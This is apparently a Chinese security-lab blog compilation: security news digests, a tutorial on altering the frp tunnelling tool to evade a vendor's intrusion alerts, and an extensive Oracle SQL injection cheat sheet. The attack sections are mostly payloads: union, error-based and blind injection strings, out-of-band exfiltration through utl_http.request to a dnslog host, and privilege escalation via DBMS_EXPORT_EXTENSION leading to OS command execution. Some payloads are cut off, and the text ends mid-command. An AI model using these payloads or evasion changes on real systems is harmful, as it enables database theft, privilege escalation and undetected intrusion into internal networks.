免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、Zoom MacOS版本修补了在 DEF CON 上被披露的严重漏洞 https://www.securityweek.com/zoom-patches-serious-macos-app-vulnerabilities-disclosed-def-con 2、英国饮用水公司South Staffordshire Water遭Clop 勒索软件攻击 https://securityaffairs.co/wordpress/134450/cyber-crime/south-staffordshire-water-cyberattack.html 3、受Twilio 安全漏洞影响，1900名Signal用户电话号码被泄露 https://securityaffairs.co/wordpress/134428/mobile-2/twilio-hack-signal-impacy.html 4、新的 Evil PLC 攻击利用PLC 以破坏 OT 和企业网络 https://thehackernews.com/2022/08/new-evil-plc-attack-weaponizes-plcs-to.html 5、印度金融服务公司 BharatPay 泄露了用户的 PII 和敏感财务数据 https://ciso.economictimes.indiatimes.com/news/bharatpay-finance-services-breached-personal-data-transaction-details-of-37000-users-leaked-online/93586873 6、Andariel在攻击中使用DTrack和Maui勒索软件 https://securelist.com/andariel-deploys-dtrack-and-maui-ransomware/107063/ 7、卡巴斯基发布2022 Q2威胁演变报告 https://securelist.com/it-threat-evolution-q2-2022/107099/ 8、"五眼"联盟国家参与美国网络司令部大型年度演习 https://www.secrss.com/articles/45833 9、网信办发布国内互联网算法备案清单，含微信、淘宝、抖音等30款App http://www.cac.gov.cn/2022-08/12/c_1661927474338504.htm 10、硬件付费订阅引众怒，黑客向宝马宣战：将免费破解给车主使用 https://www.cnbeta.com/articles/tech/1304555.htm

前言 第一次使用某商设备，不同厂商的规则库不一样，总的来说流量监控很大一部分是基于规则库来实现的，所以在进行内网穿透的时候就要考虑如何bypass设备告警。 环境搭建 ubuntu 公网vps win10内网主机 wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_amd64.tar.gz 服务端配置 bind_port = 9666   //frp服务端端口 token = 123         //客户端连接时的token认证 dashboard_port=9999 //面板服务端口 dashboard_user=Ggoodstudy   //用户名 dashboard_pwd=xxxx         //密码 enable_prometheus=true log_file=/var/log/frps.log //日志存放位置 log_level=info log_max_days=3     vhost_http_port=9998         //http服务端口 启动 ./frps -c frps.ini 如果后台运行 nohup ./frps -c frps.ini & 访问面板 http://xx.xxx.xx.xx:9666输入账号密码登录 此时服务端的配置已成功，客户端配置 [common] server_addr = xx.xxx.x.x server_port = 9666 token = 123 [rdp] type = tcp local_ip = 127.0.0.1           local_port = 3389 remote_port = 7004   这里设置代理本机的3389和8077端口 mstsc连接到主机 抓取数据包 host xx.xx.xx.xx 主机ip192.168.43.246 这里我们可以看到请求的流量包，在请求服务端的9666端口 详情内容就是 可以看到详细数据包中src_addr为受害主机出口地址，目的端口dst_port为vps的穿透端口7004端口，目的ip为vps的私网地址。 此时的连接状态显示的，同时，查看远程时的连接远程桌面时会产生这样流量特征run_id 另外有特别的发现，虚拟机winserver 2012 R2在运行客户端之后，vps在连接的过程中也能获取到宿主机的用户名 这是一个比较特别的点儿，剩余的流量就是vps和跳板机的流量交互，没有很明显的特征。 回头看某商设备对于frp内网穿透的告警 我们可以对比之前的流量包，缺少的字段且仅有udp端口 这里可能某商的规则id是基于udp_port或者说是version字段而产生的告警行为。 魔改 从几个方面规避流量监测 1.交互量加密 对frp的认证使用tls加密，修改服务端frps.ini tlsonly = true 客户端配置frpc.ini tlsenable = true 2.重写服务端 在上面的流量包中可以看到,在进行交互的时候 服务端会请求客户端配置文件内容proxy_name,那么在定义变量的服务端，可以重写方法 case *msg.NewVisitorConn: if err = svr.RegisterVisitorConn(conn, m); err != nil { xl.Warn("register visitor conn error: %v", err) msg.WriteMsg(conn, &msg.NewVisitorConnResp{ ProxyName: m.ProxyName, Error:     util.GenerateResponseErrorString("register visitor conn error", err, svr.cfg.DetailedErrorsToClient), }) conn.Close() } else { msg.WriteMsg(conn, &msg.NewVisitorConnResp{ ProxyName: m.ProxyName, Error:     "", }) } 在客户端和服务器连接的时候流量特征变成自定义变量即可。 总结 frp的特征比较明显,所以就单纯魔改frp的话除了流量上做加密外，简单的修改特征bypass设备也是可以实现的。 本文仅限于技术讨论与分享，严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负，与本人无关。

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、谷歌提高了针对 Linux 内核漏洞的漏洞赏金奖励 https://www.securityweek.com/google-boosts-bug-bounty-rewards-linux-kernel-vulnerabilities 2、微软破坏了与俄有关的 APT组织SEABORGIUM的黑客行动 https://securityaffairs.co/wordpress/134414/apt/seaborgiums-targets-nato.html 3、CopperStealer利用Chromium恶意扩展窃取加密货币 https://www.trendmicro.com/en_us/research/22/h/copperstealer-distributes-malicious-chromium-browser-extension-steal-cryptocurrencies.html 4、以Evernote为诱饵的网络钓鱼针对医疗供应商 https://www.hipaajournal.com/healthcare-providers-targeted-in-evernote-phishing-campaign/ 5、SOVA安卓银行木马中出现新型勒索软件模块 https://www.darkreading.com/endpoint/ransomware-sova-android-banking-trojan 6、卡巴斯基报告DeathStalker使用的VileRAT程序 https://securelist.com/vilerat-deathstalkers-continuous-strike/107075/ 7、研究人员在商业安全产品中发现盗用OverSight算法 https://www.securityweek.com/researchers-find-stolen-algorithms-commercial-cybersecurity-products 8、恶意PyPI包secretslib在Linux系统执行无文件挖矿程序 https://thehackernews.com/2022/08/newly-uncovered-pypi-package-drops.html 9、 Instagram 被曝通过 App 内浏览器跟踪用户网络活动 https://www.ithome.com/0/634/976.htm 10、利用macOS端Zoom安装器漏洞，黑客可接管用户Mac https://www.cnbeta.com/articles/tech/1304009.htm

免责声明：以下内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景网安实验室观点，因此第三方对以下内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景网安实验室一律不予承担。 1、洛克希德·马丁公司遭Killnet攻击并被窃取数据 https://www.securityweek.com/killnet-releases-proof-its-attack-against-lockheed-martin 2、微软过去的12个月内为漏洞赏金计划支付了 1370 万美元 https://www.securityweek.com/microsoft-paid-137-million-bug-bounty-programs-over-past-year 3、美国政府分享涉嫌 Conti Ransomware 嫌疑人的照片 https://www.securityweek.com/us-government-shares-photo-alleged-conti-ransomware-associate 4、Realtek SDK 高危堆栈溢出漏洞影响20多家厂商生成的路由器 https://www.securityweek.com/realtek-sdk-vulnerability-exposes-routers-many-vendors-remote-attacks 5、使用联发科芯片的小米手机存在漏洞可能允许伪造交易 https://securityaffairs.co/wordpress/134331/hacking/xiaomi-phones-flaw.html 6、CISA、FBI 发布联合公告，警告 Zeppelin 勒索软件攻击 https://securityaffairs.co/wordpress/134350/cyber-crime/zeppelin-ransomware-joint-alert.html 7、0day漏洞被利用入侵超过 1,000 台 Zimbra 电子邮件服务器 https://securityaffairs.co/wordpress/134314/hacking/zimbra-rce-actively-exploited.html 8、研究人员发现三个漏洞允许攻击者绕过 UEFI 安全启动功能 https://securityaffairs.co/wordpress/134334/hacking/uefi-secure-boot-feature-flaw.html 9、英特尔推出针对物理故障注入攻击的保护 https://www.securityweek.com/intel-introduces-protection-against-physical-fault-injection-attacks 10、Black Hat USA 展示了新型 HTTP 请求走私攻击 https://portswigger.net/daily-swig/browser-powered-desync-new-class-of-http-request-smuggling-attacks-showcased-at-black-hat-usa

Oracle Oracle权限分类 权限是用户对一项功能的执行权力。在Oracle中，根据系统的管理方式不同，将 Oracle 权限分为系统权限与实体权限两类。系统权限是指是否被授权用户可以连接到数据库上，在数据库中可以进行哪些系统操作。而实体权限是指用户对具体的模式实体 (schema) 所拥有的权限。 系统权限管理 系统权限：系统规定用户使用数据库的权限。（系统权限是对用户而言)。 DBA:拥有全部特权，是系统最高权限，只有DBA才可以创建数据库结构 RESOURCE:拥有Resource权限的用户只可以创建实体，不可以创建数据库结构 CONNECT:拥有Connect权限的用户只可以登录Oracle，不可以创建实体，不可以创建数据库结构 对于普通用户：授予connect，resource权限 对于DBA用户：授予connect，resource，dba权限 -- 系统权限授予命令： 系统权限只能由DBA用户授出，也就是sys,system(这两个用户是最开始的两个DBA用户) 授权命令：grant connect, resource, dba to username1 , username2...; 普通用户通过授权可以具有与system相同的用户权限，但永远不能达到与sys用户相同的权限，system用户的权限也可以被回收 回收授权命令：revoke connect, resource, dba from system; -- 查询用户拥有那些权限： select * from dba_role_privs; select * from dba_sys_privs; select * from role_sys_privs; -- 查询自己拥有那些系统权限 select * from session_privs; -- 删除用户 drop user [username] cascade; -- 加上cascade则将用户连同其创建的东西全部删除 -- 系统权限传递 增加 WITH ADMIN OPTION 选项，则得到的权限可以传递。 grant connect, resorce to user50 with admin option; -- 系统权限回收，只能由DBA用户回收 revoke connect, resource, dba from system; -- 说明 1. 如果使用WITH ADMIN OPTION为某个用户授予系统权限，那么对于被这个用户授予相同权限的所有用户来说，取消该用户的系统权限并不会级联取消这些用户的相同权限。 2. 系统权限无级联，即A授予B权限，B授予C权限，如果A收回B的权限，C的权限不受影响；系统权限可以跨用户回收，即A可以直接收回C用户的权限。 实体权限管理 实体权限：某种权限用户对其它用户的表或视图的存取权限。（是针对表或视图而言的）。 select, update, insert, alter, index, delete, all //all 包括所有权限 execute // 执行存储过程权限 -- 授权用户表操作 grant select, update, insert on product to user02; grant all on product to user02; 上述两条命令是 除drop之外所有对 product表的操作授予 user02 用户 -- 授予全部用户表的操作权限 grant all on product to public; # all不包括 drop 权限 -- 实体权限传递 grant select, update on product to user02 with grant option; user02得到权限，并可以传递。 -- 实体权限的回收 Revoke select, update on product from user02; 传递的权限将全部消失 -- 说明 1. 如果取消某个用户的对象权限，那么对于这个用户使用WITH GRANT OPTION授予权限的用户来说，同样还会取消这些用户的相同权限，也就是说取消授权时级联的。 角色管理 -- 建立一个角色 create role role1; -- 为角色授权 grant create any table,create procedure to role1; -- 授权角色给用户 grant role1 to user1; -- 查看角色所包含的权限 select * from role_sys_privs; -- 创建带有口令的角色（在生效带有口令的角色时必须提供口令） create role role1 identified by password1; -- 修改角色，设置是否需要口令 alter role role1 not identified; alter role role1 identified by password1; -- 设置当前用户要生效的角色 角色的生效是一个什么概念呢？假设用户a有b1,b2,b3三个角色，那么如果b1未生效，则b1所包含的权限对于a来讲是不拥有的，只有角色生效了，角色内的权限才作用于用户，最大可生效角色数由参数MAX_ENABLED_ROLES设定；在用户登录后，oracle将所有直接赋给用户的权限和用户默认角色中的权限赋给用户。 set role role1; # 使role1生效 set role role,role2; # 使role1,role2生效 set role role1 identified by password1; # 使用带有口令的role1生效 set role all; # 使用该用户的所有角色生效 set role none; # 设置所有角色失效 set role all except role1; # 除role1外的该用户的所有其它角色生效。 select * from SESSION_ROLES; # 查看当前用户的生效的角色。 -- 修改指定用户，设置其默认角色 alter user user1 default role role1; alter user user1 default role all except role1; -- 删除角色 drop role role1； 角色删除后，原来拥用该角色的用户就不再拥有该角色了，相应的权限也就没有了。 -- 说明 1. 无法使用WITH GRANT OPTION为角色授予对象权限 2. 可以使用WITH ADMIN OPTION 为角色授予系统权限,取消时不是级联 PL/SQL语言 PL/SQL 也是一种程序语言，叫做过程化 SQL 语言（Procedual Language/SQL）。 PL/SQL 是 Oracle 数据库对 SQL 语句的扩展。在普通 SQL 语句的使用上增加了编程语言的特点，所以 PL/SQL 就是把数据操作和查询语句组织在 PL/SQL 代码的过程性单元中，通过逻辑判断、循环等操作实现复杂的功能或者计算的程序语言。在 PL/SQL 编程语言是由甲骨文公司在 20 世纪 80 年代，作为 SQL 程序扩展语言和 Oracle 关系数据库开发。 基本结构如下： DECLARE     BEGIN     EXCEPTION     END; SQL 注入需注意的规则 Oracle 使用查询语言获取需要跟上表名，这一点和 Access 类似，没有表的情况下可以使用 dual 表，dual 是 Oracle 的虚拟表，用来构成 select 的语法规则，Oracle 保证 dual 里面永远只有一条记录。 Oracle 的数据库类型是强匹配，所以在 Oracle 进行类似 Union 查询数据时必须让对应位置上的数据类型和表中的列的数据类型是一致的，也可以使用 NULL 代替某些无法快速猜测出的数据类型位置，这一点和 SQL Server 类似。 Oracle 和 mysql 不一样，分页中没有 limit，而是使用三层查询嵌套的方式实现分页 例如: SELECT * FROM ( SELECT A.*, ROWNUM RN FROM (select * from session_roles) A WHERE ROWNUM <= 1 ) WHERE RN >=0 Oracle 的单行注释符号是 --，多行注释符号 /**/。 Oracle 数据库包含了几个系统表，这几个系统表里存储了系统数据库的表名和列名，如 user_tab_columns，all_tab_columns，all_tables，user_tables 系统表就存储了用户的所有的表、列名，其中 table_name 表示的是系统里的表名，column_name 里的是系统里存在的列名。 Oracle 使用 || 拼接字符串（在 URL 中使用编码 %7c 表示），concat() 函数也可以实现两个字符串的拼接 联合查询注入 Payload空格有问题，可以放在vscode中查看 # 判断注入点 所有数据库方式都一样 # 判断列数 依旧提交 order by 去猜测显示当前页面所用的 SQL 查询了多少个字段，也就是确认查询字段数。 ?id=1 order by 3 --+ ?id=1 order by 4 --+ # 判断回显点 ?id=-1 union select null,null,null from dual --+ ?id=-1 union select 1,'2','3' from dual --+ # 获取数据库基本信息 ?id=-1 union select 1,(select banner from sys.v_$version where rownum=1 ),'3' from dual --+ ?id=-1 union select 1,(select instance_name from v_$instance),'3' from dual --+ # 获取数据库名，即用户名 Oracle 没有数据库名的概念，所谓数据库名，即数据表的拥有者，也就是用户名。 1. 获取第一个用户名 ?id=-1 union select 1,(select username from all_users where rownum=1),'3' from dual --+ 2. 获取第二个用户名 ?id=-1 union select 1,(select username from all_users where rownum=1 and username not in ('SYS')),'3' from dual --+       3. 获取当前用户名 ?id=-1 union select 1,(SELECT user FROM dual),'3' from dual --+ # 获取表名 1. 获取Test用户第一张表 ?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST'),'3' from dual --+ 2. 获取Test用户第二张表 ?id=-1 union select 1,(select table_name from all_tables where rownum=1 and owner='TEST' and table_name<>'NEWS'),'3' from dual --+ # 获取字段名 ?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),'3' from dual --+ ?id=-1 union select 1,(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1 and column_name<>'ID'),'3' from dual --+ # 获取数据 ?id=-1 union select 1,(select concat(concat(username,'~~'),password) from users where rownum=1),null from dual --+ 报错注入 在 oracle 注入时候出现了数据库报错信息，可以优先选择报错注入，使用报错的方式将查询数据的结果带出到错误页面中。 使用报错注入需要使用类似 1=[报错语句]，1>[报错语句]，使用比较运算符，这样的方式进行报错注入（MYSQL 仅使用函数报错即可），类似 mssql 报错注入的方式。 utl_inaddr.get_host_name () utl_inaddr.get_host_address 本意是获取 ip 地址，但是如果传递参数无法得到解析就会返回一个 oracle 错误并显示传递的参数。 我们传递的是一个 sql 语句所以返回的就是语句执行的结果。oracle 在启动之后，把一些系统变量都放置到一些特定的视图当中，可以利用这些视图获得想要的东西。 # 获取用户名 ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select user from dual)%7c%7c'~') --+ # 获取表名 ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+ # 获取字段名 ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+ # 获取数据 ?id=1 and 1=utl_inaddr.get_host_name('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+ ctxsys.drithsx.sn () # 获取用户名 ?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select user from dual)%7c%7c'~') --+ # 获取表名 ?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') --+ # 获取字段名 ?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') --+ # 获取数据 ?id=1 and 1=ctxsys.drithsx.sn(1,'~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') --+ dbms_xdb_version.checkin () # 获取用户名 ?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+ # 获取表名 ?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+ # 获取字段名 ?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+ # 获取数据 ?id=1 and (select dbms_xdb_version.checkin('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+ dbms_xdb_version.makeversioned () # 获取用户名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+ # 获取表名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+ # 获取字段名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+ # 获取数据 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.makeversioned('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+ dbms_xdb_version.uncheckout () # 获取用户名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+ # 获取表名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+ # 获取字段名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+ # 获取数据 http://hackrock.com:8080/oracle/?id=1 and (select dbms_xdb_version.uncheckout('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+ dbms_utility.sqlid_to_sqlhash () # 获取用户名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+ # 获取表名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+ # 获取字段名 http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+ # 获取数据 http://hackrock.com:8080/oracle/?id=1 and (select dbms_utility.sqlid_to_sqlhash('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+ ordsys.ord_dicom.getmappingxpath () # 获取用户名 http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select user from dual)%7c%7c'~') from dual) is not null --+ # 获取表名 http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'~') from dual) is not null --+ # 获取字段名 http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'~') from dual) is not null --+ # 获取数据 http://hackrock.com:8080/oracle/?id=1 and (select ordsys.ord_dicom.getmappingxpath('~'%7c%7c(select username from test.users where rownum=1)%7c%7c'~') from dual) is not null --+ XMLType () # 获取用户名 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --+ # 获取表名 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7cchr(62))) from dual) is not null --+ # 获取字段名 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7cchr(62))) from dual) is not null --+ # 获取数据 http://hackrock.com:8080/oracle/?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select username from test.users where rownum=1)%7c%7cchr(62))) from dual) is not null --+ 布尔型盲注 decode() decode(字段或字段的运算，值1，值2，值3） 这个函数运行的结果是，当字段或字段的运算的值等于值 1 时，该函数返回值 2，否则返回值3，当然值 1，值 2，值 3 也可以是表达式，这个函数使得某些 sql 语句简单了许多 # 判断是否是TEST用户 ?id=1 and 1=(select decode(user,'TEST',1,0) from dual) --+ # 猜解当前用户 ?id=1 and 1=(select decode(substr((select user from dual),1,1),'a',1,0) from dual) --+ # 猜解表名 ?id=1 and 1=(select decode(substr((select table_name from all_tables where rownum=1 and owner='TEST'),1,1),'N',1,0) from dual) --+ # 猜解字段名 ?id=1 and 1=(select decode(substr((select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1),'I',1,0) from dual) --+ # 猜解数据 ?id=1 and 1=(select decode(substr((select username from test.users where rownum=1),1,1),'a',1,0) from dual) --+ instr () instr 函数的使用，从一个字符串中查找指定子串的位置 select instr('123456789','12') position from dual; 可以使用该函数按位爆破，该函数返回是从1开始 ?id=1 and (instr((select user from dual),'S'))=1 --+ ?id=1 and (instr((select user from dual),'SY'))=1 --+ ?id=1 and (instr((select user from dual),'SYS'))=1 --+ substr() 这个就和mysql 基本一致 # 猜解数据长度 ?id=1 and (select length(user) from dual)=3 --+ # ASCII按位爆破 ?id=1 and (select ascii(substr(user,1,1))from dual)=65 --+ 时间盲注 dbms_pipe.receive_message () DBMS_LOCK.SLEEP()函数可以让一个过程休眠很多秒，但使用该函数存在许多限制。 首先，不能直接将该函数注入子查询中，因为 Oracle 不支持堆叠查询 (stacked query)。其次，只有数据库管理员才能使用 DBMS_LOCK 包。 在 Oracle PL/SQL 中有一种更好的办法，可以使用下面的指令以内联方式注入延迟： dbms_pipe.receive_message('RDS', 10) DBMS_PIPE.RECEIVE_MESSAGE() 函数将为从 RDS 管道返回的数据等待 10 秒。默认情况下，允许以 public 权限执行该包。DBMS_LOCK.SLEEP()与之相反，它是一个可以用在 SQL 语句中的函数。 # 查看是否可以使用 dbms_pipe.receive_message () 函数进行延时注入 ?id=1 and 1=(dbms_pipe.receive_message('RDS',5)) --+ # 猜解当前用户 ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(user as varchar(4000)),chr(32)) from dual),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+ # 猜解表名 ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(table_name as varchar(4000)),chr(32)) from all_tables where rownum=1 and owner='TEST'),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+ # 猜解字段 ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(column_name as varchar(4000)),chr(32)) from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+ # 猜解数据 ?id=1 and 7238=(case when (ascii(substrc((select nvl(cast(username as varchar(4000)),chr(32)) from test.users where rownum=1),1,1)) > 65) then dbms_pipe.receive_message(chr(32)%7c%7cchr(106)%7c%7cchr(72)%7c%7cchr(73),5) else 7238 end) --+ decode () 原理：结合耗费时间的查询语句,不过在使用的过程中有很多不尽如人意的地方，有时候加载快有时加载慢。 ?id=1 and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) --+ decode () 与 dbms_pipe.receive_message () 嵌套时间盲注 ?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('RDS', 5),0) from dual) --+ DNS外带注入 Oracle 注入之带外通信和 DNSLOG 注入非常相似，例如和 mysql 中 load_file () 函数实现无回显注入非常相似。 Oracle 发送 HTTP 和 DNS 请求，并将查询结果带到请求中，然后检测外网服务器的 HTTP 和 DNS 日志，从日志中获取查询结果，通过这种方式将繁琐的盲注转换成可以直接获取查询结果的方式。 使用第三方平台，监听访问请求，并记录请求的日志信息，然后使用 utl_http.request() 向外网主机发送 http 请求，请求便携带了查询的结果信息。此处可以结合 SSRF 进行内网探测。或许这就是 Oracle 的 SSRF。 利用 utl.inaddr.get_host_address()，将查询结果拼接到域名下，并使用 DNS 记录解析日志，通过这种方式获取查询结果。 # 检测是否支持 utl_http.request ?id=1 and exists (select count(*) from all_objects where object_name='UTL_HTTP') --+ # 获取用户名 ?id=1 and utl_http.request('http://'%7c%7c(select user from dual)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+ # 获取表名 ?id=1 and utl_http.request('http://'%7c%7c(select table_name from all_tables where rownum=1 and owner='TEST')%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+ # 获取列名 ?id=1 and utl_http.request('http://'%7c%7c(select column_name from all_tab_columns where owner='TEST' and table_name='USERS' and rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+ # 获取数据 ?id=1 and utl_http.request('http://'%7c%7c(select username from test.users where rownum=1)%7c%7c'.z9mt3s.dnslog.cn/oracle')=1--+ 利用漏洞提权命令执行 dbms_export_extension() 影响版本：Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006) 权限：None 详情：这个软件包有许多易受 PL/SQL 注入攻击的函数。这些函数由 SYS 拥有，作为 SYS 执行并且可由 PUBLIC 执行。因此，如果 SQL 注入处于上述任何未修补的 Oracle 数据库版本中，那么攻击者可以调用该函数并直接执行 SYS 查询。 提升权限 该请求将导致查询 "GRANT DBA TO PUBLIC" 以 SYS 身份执行。因为这个函数允许 PL / SQL 缺陷（PL / SQL 注入）。一旦这个请求成功执行，PUBLIC 获取 DBA 角色，从而提升当前 user 的特权 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0) from dual 使用Java执行 # 创建java库 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {publ # 赋予Java权限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', '' # 创建函数 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java # 赋予函数执行权限 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual # 执行系统命令 select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual dbms_xmlquery.newcontext() 影响版本：Oracle 8.1.7.4, 9.2.0.1-9.2.0.7, 10.1.0.2-10.1.0.4, 10.2.0.1-10.2.0.2, XE (Fixed in CPU July 2006) 必须在 DBMS_PORT_EXTENSION 存在漏洞情况下，否则赋予权限时无法成功 # 创建java库 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedRe # 赋予当前用户Java权限 select user from dual select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin 